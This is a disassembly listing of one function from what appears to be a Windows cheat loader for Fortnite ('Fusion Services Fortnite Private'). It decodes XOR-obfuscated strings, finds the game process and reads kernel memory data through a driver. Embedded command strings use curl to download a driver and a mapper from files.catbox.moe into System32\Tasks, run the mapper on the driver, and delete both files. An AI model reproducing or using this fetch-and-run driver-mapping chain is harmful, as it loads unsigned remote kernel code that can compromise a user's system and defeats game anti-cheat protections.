Function at 0x140050760
Capabilities:
Create thread
Delete file
Encode data using xor
Enumerate processes
Execute command
Set console window title
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x208]
sub rsp, 0x300
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140139a80]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor r14d, r14d
lea rcx, [0x14007d718]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Do_you_want_to_load_Driver___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045b00
lea rdx, str.Load_Driver_ONCE_Per_Restart___Loading_it_2_times_can_get_you_banned_or_blue_screened_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045b00
movups xmm0, xmmword [0x14007dd00]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x14007dd10]
movups xmmword [rsp + 0x50], xmm1
mov eax, dword [0x14007dd20]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x14007dd24]
mov byte [rsp + 0x64], al
mov ecx, r14d
cmp dword [0x140139ad0], 2
jl 0x14005092e
movdqa xmm4, xmmword [0x14005e190]
movdqa xmm3, xmmword [0x14007e350]
movdqa xmm5, xmmword [str.8888]
movdqa xmm0, xmmword [0x14007e2a0]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x44]
movdqa xmm6, xmmword [0x14007e290]
mov r8d, dword [rsp + 0x70]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140050842
cmp ecx, 0x25
jge 0x14005096e
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x25
jl 0x140050940
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045b00
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp - 0x70]
sub ecx, 1
je 0x140050c4a
cmp ecx, 1
jne 0x140050c05
lea rcx, str.Fusion_Services__Fortnite_Private
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 3
lea rcx, str..unicode_rTDxi_Zu5j7_nP6y6
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140139de0], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x14013a198], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x14013a19c], eax
cmp qword [0x140139e40], r14
jne 0x140050a89
mov al, 0xb8
mov cl, 0x90
mov byte [rbp - 0x7e], 0x72
mov dl, 0x75
mov r8b, 0x6c
mov r9b, 0x6a
mov r10b, 0x70
mov r11b, 0x60
mov bl, 0x26
mov dil, 0x27
xor esi, esi
xor al, 0xfe
mov byte [rbp - 0x80], al
not cl
mov byte [rbp - 0x7f], cl
xor dl, 1
mov byte [rbp - 0x7d], dl
xor r8b, 2
mov byte [rbp - 0x7c], r8b
xor r9b, 3
mov byte [rbp - 0x7b], r9b
xor r10b, 4
mov byte [rbp - 0x7a], r10b
xor r11b, 5
mov byte [rbp - 0x79], r11b
xor bl, 6
mov byte [rbp - 0x78], bl
xor dil, 7
mov byte [rbp - 0x77], dil
mov byte [rbp - 0x76], sil
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140139e40], rax
test rax, rax
je 0x140050a12
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140050ad9
nop
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp - 0x34]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x140050c36
lea rdx, [rbp - 0x60]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140050ab0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140139dc4]
mov qword [rbp - 0x80], r14
mov dword [rsp + 0x74], r14d
mov dword [rsp + 0x70], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0x10
lea r8, [rsp + 0x70]
mov edx, 0x22c6b4
mov rcx, qword [0x140139de0]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp - 0x80]
mov qword [0x140139dd0], rax
call fcn.140047c50
movzx eax, al
mov qword [0x140139dd8], rax
call fcn.140047c50
lea rdx, str.Base_Address___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045b00
mov rdx, qword [0x140139dd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, str.CR3___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045b00
mov rdx, qword [0x140139dd8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov ecx, 1
call fcn.140054720
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140046750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140050cbd
cmp dword [rsp + 0x78], 0
je 0x140050ccd
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140050ccd
mov rcx, qword [0x140139f70]
call fcn.140049ff0
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.1400542b0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x58]
mov dword [0x140139dc4], eax
jmp 0x140050ae8
lea rcx, str.curl___silent_https:__files.catbox.moe_5yimk7.sys___output_C:WindowsSystem32Tasksdriver.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_awejiq___output_C:WindowsSystem32Tasksmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Tasksdriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksdriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Driver_should_now_be_loaded__this_app_will_close_in_5_seconds___re_open_it_and_select_No_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045b00
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rsp + 0x78], r14d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3